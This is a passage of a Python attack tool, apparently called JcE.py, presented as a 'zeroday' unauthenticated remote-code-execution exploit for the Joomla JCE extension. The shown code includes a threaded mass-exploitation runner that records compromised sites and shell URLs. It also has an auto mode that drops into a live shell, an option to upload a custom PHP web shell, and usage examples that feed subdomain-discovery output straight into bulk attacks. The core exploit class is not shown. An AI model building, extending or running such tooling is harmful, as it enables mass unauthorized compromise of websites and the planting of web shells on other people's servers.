        elif res.get("vector"):
            with _lock:
                _stats["hits"] += 1
                url = res.get("shell_url") or res.get("upload_path") or ""
                if not _SILENT:
                    print(f"  {GY('   └─')} {YL('▲ UP ')} "
                          f"{CY(hyperlink(_fit(url, 28), url))}", flush=True)
                _pwned.append(res)
            try:
                with open(output_file, "a", encoding="utf-8") as f:
                    f.write((res.get("shell_url") or res.get("upload_path")) + "\n")
            except Exception:
                pass
        else:
            with _lock:
                _stats["fails"] += 1
                reason = "patched" if res.get("patched") else ("no_token" if not res.get("token") else "no_jce" if not res.get("jce_found") else "failed")
                if not _SILENT:
                    print(f"  {GY('   └─')} {RD('✗ ERR')} {GY('(' + reason + ')')}", flush=True)
        return res

    with ThreadPoolExecutor(max_workers=threads) as pool:
        futures = {pool.submit(_worker, t): t for t in targets}
        try:
            for f in as_completed(futures):
                try:
                    f.result()
                except Exception:
                    pass
        except KeyboardInterrupt:
            print()
            dlog("warn", "interrupted by user")
            pool.shutdown(wait=False, cancel_futures=True)

    dt = time.time() - t0
    if _SILENT:
        return 0
    print()
    total = max(_stats["total"], 1)
    rce = _stats["rce"]
    up = _stats["hits"] - _stats["rce"]
    fails = _stats["fails"]
    rate = (total / dt) if dt > 0 else 0.0
    summary_lines = [
        f"{MG(pad_to('RCE', 9))} {stat_bar(rce, total, 24, 'magenta')} "
        f"{WH(BOLD + str(rce))} {GY(f'({rce / total * 100:.0f}%)')}",
        f"{YL(pad_to('UPLOADED', 9))} {stat_bar(up, total, 24, 'amber')} "
        f"{WH(BOLD + str(up))} {GY(f'({up / total * 100:.0f}%)')}",
        f"{RD(pad_to('FAILED', 9))} {stat_bar(fails, total, 24, 'red')} "
        f"{WH(BOLD + str(fails))} {GY(f'({fails / total * 100:.0f}%)')}",
        f"{GY(pad_to('TOTAL', 9))} {GY('│')} {WH(BOLD + str(_stats['total']))}  "
        f"{GY('·')}  {GY('elapsed')} {WH('%.1fs' % dt)}  {GY('·')}  "
        f"{GY('rate')} {WH(f'{rate:.1f}/s')}",
        "",
        f"{CY('→')} {GY('shells')} {WH(os.path.abspath(output_file))}",
        f"{CY('→')} {GY('rce   ')} {WH(os.path.abspath(rce_output_file))}",
    ]
    print(neon_frame("SCAN SUMMARY", summary_lines,
                     width=min(max(term_width(100) - 8, 60), 72),
                     c1=(190, 242, 100), c2=(129, 140, 248), stops=[(56, 189, 248)]))
    print()
    return 0

def run_auto_interactive(target: str, timeout: int,
                        custom_shell=None, custom_name=None, verbose=False) -> int:
    global _VERBOSE
    _VERBOSE = verbose
    target = normalize_target(target)
    timeout = max(3, min(120, int(timeout)))
    print()
    rows = [
        ("target",  WH(target)),
        ("timeout", WH(f"{timeout}s")),
        ("mode",    MG("auto-chain")),
    ]
    print(neon_frame("AUTO INTERACTIVE",
                     [f"{GY(pad_to(k, 8))} {GY('│')} {v}" for k, v in rows],
                     width=min(max(term_width(100) - 8, 56), 68),
                     c1=(129, 140, 248), c2=(190, 242, 100), stops=[(56, 189, 248)]))
    print()

    exp = JCEExploit(target, timeout, custom_shell=custom_shell, custom_name=custom_name)
    t0 = time.time()
    dlog("scan", "starting exploit ...")
    res = exp.run()
    dt = time.time() - t0

    if not res.get("rce"):
        dlog("fail", RD("exploit failed / RCE unverified") + f"  {GY('%.2fs' % dt)}")
        print()
        return 1

    dlog("rce", GN(BOLD + "RCE CONFIRMED" + RESET) + f"  {GY('%.2fs' % dt)}")
    base_url = res.get("shell_url")
    if not base_url:
        dlog("fail", "could not read base shell URL")
        print()
        return 1
    rce_banner(str(base_url), str(res.get("vector") or ""), dt)
    interactive_shell(base_url, exploit=exp, target=target,
                      vector=res.get("vector"), timeout=timeout)
    print()
    return 0

def interactive_menu():
    while True:
        print()
        term_w = term_width(100)
        print(status_strip("CONSOLE", "awaiting operation", term_w))
        print()
        content_w = max(term_w - 6, 30)
        menu_lines = []
        menu_rows = [
            ("1", MT, "Single Target",    "one-shot exploit · manual session"),
            ("2", AQ, "Mass Exploit",     "file-driven scan · threaded"),
            ("3", MG, "Auto Interactive", "exploit → verify → live shell"),
            ("4", OG, "Custom Shell",     "deploy your own PHP payload"),
            ("0", RD, "Exit",             "close the console"),
        ]
        if term_w >= 84:
            col_w = (content_w - 3) // 2

            def cell(row):
                key, col, name, desc = row
                top = (f"{col(BOLD + key.zfill(2) + RESET)}  "
                       f"{BOLD}{WH(name)}{RESET}")
                bottom = f"    {GY(desc)}"
                return (pad_to(truncate_ansi(top, col_w), col_w),
                        pad_to(truncate_ansi(bottom, col_w), col_w))

            for pair in (menu_rows[:2], menu_rows[2:4]):
                left = cell(pair[0])
                right = cell(pair[1])
                menu_lines.append(left[0] + GY(" │ ") + right[0])
                menu_lines.append(left[1] + GY(" │ ") + right[1])
                menu_lines.append("")
            menu_lines.append(GY("─" * content_w))
        else:
            for key, col, name, desc in menu_rows[:4]:
                row = (f"{col(BOLD + key.zfill(2) + RESET)}  "
                       f"{WH(pad_to(name, 20))} {GY(BOX_CHEVRON)} {GY(desc)}")
                menu_lines.append(truncate_ansi(row, content_w))
            menu_lines.append(GY("─" * content_w))

        menu_lines.append(
            f"{RD(BOLD + '00' + RESET)}  {WH('EXIT')}  "
            f"{GY(BOX_CHEVRON)} {GY(menu_rows[4][3])}")
        menu_lines.append("")
        menu_lines.append(truncate_ansi(
            f"{GY('headless')}  {WH('-u <url>')}  {GY(BOX_DOT)}  "
            f"{WH('-l <file>')}  {GY(BOX_DOT)}  {WH('--auto')}", content_w))
        menu_lines.append(truncate_ansi(
            f"{GY('build   ')}  {WH('v' + VERSION)}  {GY(BOX_DOT)}  "
            f"{MG(MARKER)}  {GY(BOX_DOT)}  {TE('JCE RCE')}", content_w))
        print(neon_frame("COMMAND INDEX", menu_lines, width=term_w,
                         c1=FRAME_PTS[0], c2=FRAME_PTS[-1],
                         stops=FRAME_PTS[1:-1]))
        print()
        try:
            ch = input(f"  {MT(BOLD + BOX_ARROW + RESET)} {WH('command')} "
                       f"{GY(BOX_CHEVRON + ' [1-4/0]')} ").strip().lower()
        except (EOFError, KeyboardInterrupt):
            print()
            return 0
        print()

        if ch == "1":
            url = _prompt("target URL")
            if not url:
                continue
            timeout_s = _prompt("timeout", default=str(DEFAULT_TIMEOUT))
            try:
                timeout = max(3, min(120, int(timeout_s)))
            except ValueError:
                timeout = DEFAULT_TIMEOUT
            out = _prompt("shells output", default=DEFAULT_OUTPUT)
            rce_out = _prompt("rce output", default=DEFAULT_RCE_OUTPUT)
            run_single(url, timeout, out, rce_out)
            print()

        elif ch == "2":
            tf = _prompt("targets file", default="targets.txt")
            if not os.path.isfile(tf):
                dlog("fail", f"file not found: {WH(tf)}")
                continue
            th_s = _prompt("threads", default=str(DEFAULT_THREADS))
            try:
                threads = max(1, min(200, int(th_s)))
            except ValueError:
                threads = DEFAULT_THREADS
            to_s = _prompt("timeout", default=str(DEFAULT_TIMEOUT))
            try:
                timeout = max(3, min(120, int(to_s)))
            except ValueError:
                timeout = DEFAULT_TIMEOUT
            out = _prompt("shells output", default=DEFAULT_OUTPUT)
            rce_out = _prompt("rce output", default=DEFAULT_RCE_OUTPUT)
            run_mass(tf, threads, timeout, out, rce_out)
            print()

        elif ch == "3":
            target = _prompt("Target")
            if not target:
                continue
            timeout_s = _prompt("timeout", default=str(DEFAULT_TIMEOUT))
            try:
                timeout = max(3, min(120, int(timeout_s)))
            except ValueError:
                timeout = DEFAULT_TIMEOUT
            run_auto_interactive(target, timeout)
            print()

        elif ch == "4":
            shell_path = _prompt("custom shell file path")
            if not os.path.isfile(shell_path):
                dlog("fail", f"file not found: {WH(shell_path)}")
                continue
            try:
                with open(shell_path, "rb") as f:
                    cshell = f.read()
            except Exception as e:
                dlog("fail", f"read error: {e}")
                continue
            cname = os.path.basename(shell_path)
            mode = _prompt("mode (1=single,2=mass,3=auto)", default="1")
            if mode == "2":
                tf = _prompt("targets file", default="targets.txt")
                if not os.path.isfile(tf):
                    dlog("fail", f"file not found: {WH(tf)}")
                    continue
                th_s = _prompt("threads", default=str(DEFAULT_THREADS))
                try:
                    threads = max(1, min(200, int(th_s)))
                except ValueError:
                    threads = DEFAULT_THREADS
                to_s = _prompt("timeout", default=str(DEFAULT_TIMEOUT))
                try:
                    timeout = max(3, min(120, int(to_s)))
                except ValueError:
                    timeout = DEFAULT_TIMEOUT
                out = _prompt("shells output", default=DEFAULT_OUTPUT)
                rce_out = _prompt("rce output", default=DEFAULT_RCE_OUTPUT)
                run_mass(tf, threads, timeout, out, rce_out,
                         custom_shell=cshell, custom_name=cname)
            elif mode == "3":
                target = _prompt("Target")
                if not target:
                    continue
                timeout_s = _prompt("timeout", default=str(DEFAULT_TIMEOUT))
                try:
                    timeout = max(3, min(120, int(timeout_s)))
                except ValueError:
                    timeout = DEFAULT_TIMEOUT
                run_auto_interactive(target, timeout, custom_shell=cshell, custom_name=cname)
            else:
                url = _prompt("target URL")
                if not url:
                    continue
                timeout_s = _prompt("timeout", default=str(DEFAULT_TIMEOUT))
                try:
                    timeout = max(3, min(120, int(timeout_s)))
                except ValueError:
                    timeout = DEFAULT_TIMEOUT
                out = _prompt("shells output", default=DEFAULT_OUTPUT)
                rce_out = _prompt("rce output", default=DEFAULT_RCE_OUTPUT)
                run_single(url, timeout, out, rce_out, custom_shell=cshell, custom_name=cname)
            print()

        elif ch in ("0", "x", "exit", "quit"):
            print()
            print("  " + BOLD + gradient("◈  CONSOLE CLOSED  ◈",
                                           FRAME_PTS[0], FRAME_PTS[-1],
                                           stops=FRAME_PTS[1:-1]) + RESET)
            print()
            return 0

        else:
            dlog("fail", "invalid option")
            print()

# ═════════════════════════════════════════════════════════════════════════════
#  MAIN
# ═════════════════════════════════════════════════════════════════════════════

def main():
    # Honour --no-color before boot/banner so no ANSI leaks into plain output.
    set_color_mode("--no-color" in sys.argv)
    if not any(arg in ("-h", "--help") for arg in sys.argv[1:]):
        boot_sequence()
        show_banner()
    script = os.path.basename(sys.argv[0]) or "JcE.py"
    _EXAMPLES = [
        ("Detect",           f"python {script} -u https://joomla.target.com"),
        ("With shell",       f"python {script} -u https://joomla.target.com "
                             "--shell"),
        ("Auto interactive", f"python {script} -u https://joomla.target.com "
                             "--auto"),
        ("Bulk scan",        f"python {script} -l targets.txt -t 15"),
        ("Custom shell",     f"python {script} -u https://target.com -F shell.php"),
        ("Pipeline",         f"subfinder -d target.com | httpx -silent | "
                             f"python {script}"),
        ("Silent + JSON",    f"python {script} -l targets.txt --silent "
                             "-o results.json"),
    ]
    _ep = ["", BOLD + MT("EXAMPLES") + RESET, GY("─" * 42)]
    for _k, _v in _EXAMPLES:
        _ep.append(f"  {MG(pad_to(_k, 16))} {WH(_v)}")
    _ep.append("")
    description = (MG(BOLD + "CVE-2026-48907" + RESET) + GY("  ·  ") +
                   WH("Joomla JCE") + GY("  →  ") +
                   RD(BOLD + "Unauthenticated RCE") + GY("   [ZERODAY // ALL-IN-ONE]"))
    parser_kwargs = dict(
        description=description,
        formatter_class=argparse.RawTextHelpFormatter,
        epilog="\n".join(_ep))
    # Python 3.14+ colourises argparse help; keep it in sync with the UI.
    if sys.version_info >= (3, 14):
        parser_kwargs["color"] = ("--no-color" not in sys.argv
                                  and detect_color_mode() != "none")
    ap = argparse.ArgumentParser(**parser_kwargs)

    g = ap.add_argument_group(BOLD + CY("TARGET") + RESET)
    g.add_argument("-u", "--url", help=WH("single target URL"))
    g.add_argument("-f", "--file", "-l", "--list", dest="file",
                    help=WH("targets file (one URL per line)"))

    g = ap.add_argument_group(BOLD + PU("ENGINE") + RESET)
    g.add_argument("-t", "--threads", type=int, default=DEFAULT_THREADS,
                    help=WH(f"threads for mass mode (default {DEFAULT_THREADS})"))
    g.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT,
                    help=WH(f"HTTP request timeout (default {DEFAULT_TIMEOUT}s)"))

    g = ap.add_argument_group(BOLD + MG("MODES") + RESET)
    g.add_argument("--shell", "--auto-shell", action="store_true", dest="auto_shell",
                    help=WH("auto-enter interactive shell after RCE success (single)"))
    g.add_argument("--auto", action="store_true",
                    help=WH("auto-interactive mode (upload → verify → live shell)"))
    g.add_argument("-F", "--shell-file", dest="shell_file",
                    help=WH("path to custom PHP shell/uploader to upload"))

    g = ap.add_argument_group(BOLD + GN("OUTPUT") + RESET)
    g.add_argument("-o", "--output", default=DEFAULT_OUTPUT,
                    help=WH(f"shell URLs output file (default {DEFAULT_OUTPUT})"))
    g.add_argument("-r", "--rce-output", default=DEFAULT_RCE_OUTPUT,
                    help=WH(f"RCE verified output file (default {DEFAULT_RCE_OUTPUT})"))
    g.add_argument("--json", dest="json_out",
                    help=WH("write JSON report to file"))

    g = ap.add_argument_group(BOLD + GD("OPTIONS") + RESET)
    g.add_argument("-y", "--yes", action="store_true",
                    help=WH("skip confirmation prompt"))
    g.add_argument("-v", "--verbose", action="store_true",
                    help=WH("verbose debug output"))
    g.add_argument("--silent", action="store_true",
                    help=WH("silent mode (no per-target logs)"))
    g.add_argument("--no-color", action="store_true",
                    help=WH("disable colored output"))
    args = ap.parse_args()

    set_color_mode(args.no_color)

    # Clamp runtime parameters so bad values can not crash thread pools or
    # produce invalid HTTP timeouts.
    args.threads = max(1, min(200, int(args.threads)))
    args.timeout = max(3, min(120, int(args.timeout)))

    global _VERBOSE
    _VERBOSE = args.verbose
    global _SILENT
    _SILENT = args.silent

    # load custom shell
    custom_shell = None
    custom_name = None
    if args.shell_file:
        if not os.path.isfile(args.shell_file):
            dlog("fail", f"shell file not found: {WH(args.shell_file)}")
            sys.exit(1)
        with open(args.shell_file, "rb") as f:
            custom_shell = f.read()
        custom_name = os.path.basename(args.shell_file)
        dlog("ok", CY("Loaded custom shell") + f"  {WH(args.shell_file)} ({len(custom_shell)} bytes)")

    targets = []
    if args.url:
        targets.append(args.url)
    if args.file:
        try:
            with open(args.file, encoding="utf-8", errors="replace") as f:
                targets += [l.strip() for l in f if l.strip() and not l.startswith("#")]
        except FileNotFoundError:
            dlog("fail", f"file not found: {WH(args.file)}")
            sys.exit(1)
    if not sys.stdin.isatty():
        for line in sys.stdin:
            u = extract_url(line)
            if u:
                targets.append(u)

    targets = [normalize_target(t) for t in targets if t.strip()]
    targets = list(dict.fromkeys(targets))

    if not targets:
        # interactive menu
        return interactive_menu()

    if args.auto_shell and len(targets) > 1:
        dlog("warn", "--shell disabled for bulk scan")
        args.auto_shell = False

    t0 = time.time()
    if not args.silent:
        dlog("info", f"Targets: {len(targets)} | Threads: {args.threads} | Timeout: {args.timeout}s")

    if len(targets) == 1:
        if args.auto:
            mode_rc = run_auto_interactive(
                targets[0], args.timeout,
                custom_shell=custom_shell, custom_name=custom_name,
                verbose=args.verbose)
        else:
            if not args.yes and not args.silent:
                confirm = _prompt(f"run exploit against {WH(targets[0])}?", hint="y/N")
                if confirm.lower() not in ("y", "yes"):
                    dlog("info", "aborted")
                    return 0
            mode_rc = run_single(
                targets[0], args.timeout, args.output, args.rce_output,
                auto_shell=args.auto_shell, custom_shell=custom_shell,
                custom_name=custom_name, verbose=args.verbose)
    else:
        if args.auto:
            dlog("warn", "--auto disabled for bulk; running mass scan")
        import tempfile
        tf = None
        if args.file:
            tf = args.file
        else:
            fd, tf = tempfile.mkstemp(prefix="targets_", suffix=".txt")
            with os.fdopen(fd, "w", encoding="utf-8") as f:
                for t in targets:
                    f.write(t + "\n")
        mode_rc = run_mass(tf, args.threads, args.timeout, args.output,
                           args.rce_output, custom_shell=custom_shell,
                           custom_name=custom_name, verbose=args.verbose)
        if tf and not args.file:
            try:
                os.remove(tf)
            except Exception:
                pass

    elapsed = time.time() - t0
    rce_n = sum(1 for r in _pwned if r.get("rce"))
    jce_n = sum(1 for r in _pwned if r.get("jce_found"))
    patch_n = sum(1 for r in _pwned if r.get("patched"))

    if not args.silent:
        total = max(len(targets), 1)
        summary_lines = [
            f"{MG(pad_to('RCE', 9))} {stat_bar(rce_n, total, 24, 'magenta')} "
            f"{WH(BOLD + str(rce_n))} {GY(f'({rce_n / total * 100:.0f}%)')}",
            f"{CY(pad_to('JCE', 9))} {stat_bar(jce_n, total, 24, 'cyan')} "
            f"{WH(BOLD + str(jce_n))} {GY(f'({jce_n / total * 100:.0f}%)')}",
            f"{YL(pad_to('PATCHED', 9))} {stat_bar(patch_n, total, 24, 'amber')} "
            f"{WH(BOLD + str(patch_n))} {GY(f'({patch_n / total * 100:.0f}%)')}",
            f"{GY(pad_to('TARGETS', 9))} {GY('│')} {WH(BOLD + str(len(targets)))}  "
            f"{GY('·')}  {GY('elapsed')} {WH('%.1fs' % elapsed)}",
        ]
        if _pwned:
            summary_lines.append("")
            summary_lines.append(RD(BOLD + "Vulnerable Targets" + RESET))
            for r in _pwned:
                tag = (f"{RD('[RCE]')}") if r.get("rce") else f"{OG('[WRITE]')}"
                ver = f" {GY('· v' + str(r['jce_ver']))}" if r.get("jce_ver") else ""
                target_txt = truncate_ansi(str(r.get("target", "")),
                                           max(20, term_width(100) - 24))
                summary_lines.append(f"{tag} {WH(target_txt)}{ver}")
                if r.get("shell_url"):
                    url = str(r["shell_url"])
                    summary_lines.append(
                        f"  {GY('└─')} {TE(hyperlink(truncate_ansi(url, max(20, term_width(100) - 30)), url))}")
        print(neon_frame("SCAN SUMMARY", summary_lines,
                         width=min(max(term_width(100) - 8, 60), 72),
                         c1=(190, 242, 100), c2=(129, 140, 248)))
        print()

    if args.json_out:
        try:
            with open(args.json_out, "w", encoding="utf-8") as f:
                json.dump(_pwned, f, indent=2)
            dlog("ok", CY("Saved JSON") + f"  {WH(args.json_out)}")
        except Exception as e:
            dlog("fail", f"json write error: {e}")

    if rce_n:
        sys.exit(2)
    if _pwned:
        sys.exit(1)
    sys.exit(mode_rc)

def extract_url(line: str) -> Optional[str]:
    clean = strip_ansi(line).strip()
    m = re.search(r"https?://[a-zA-Z0-9._:/?&=%-]+", clean)
    return m.group(0).rstrip(".,;[]\"'") if m else None

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print()
        dlog("fail", RD("[!] Interrupted"))
        sys.exit(0)
    except SystemExit:
        raise
    except Exception as e:
        dlog("fail", f"fatal: {e}")
        import traceback
        traceback.print_exc()
        sys.exit(1)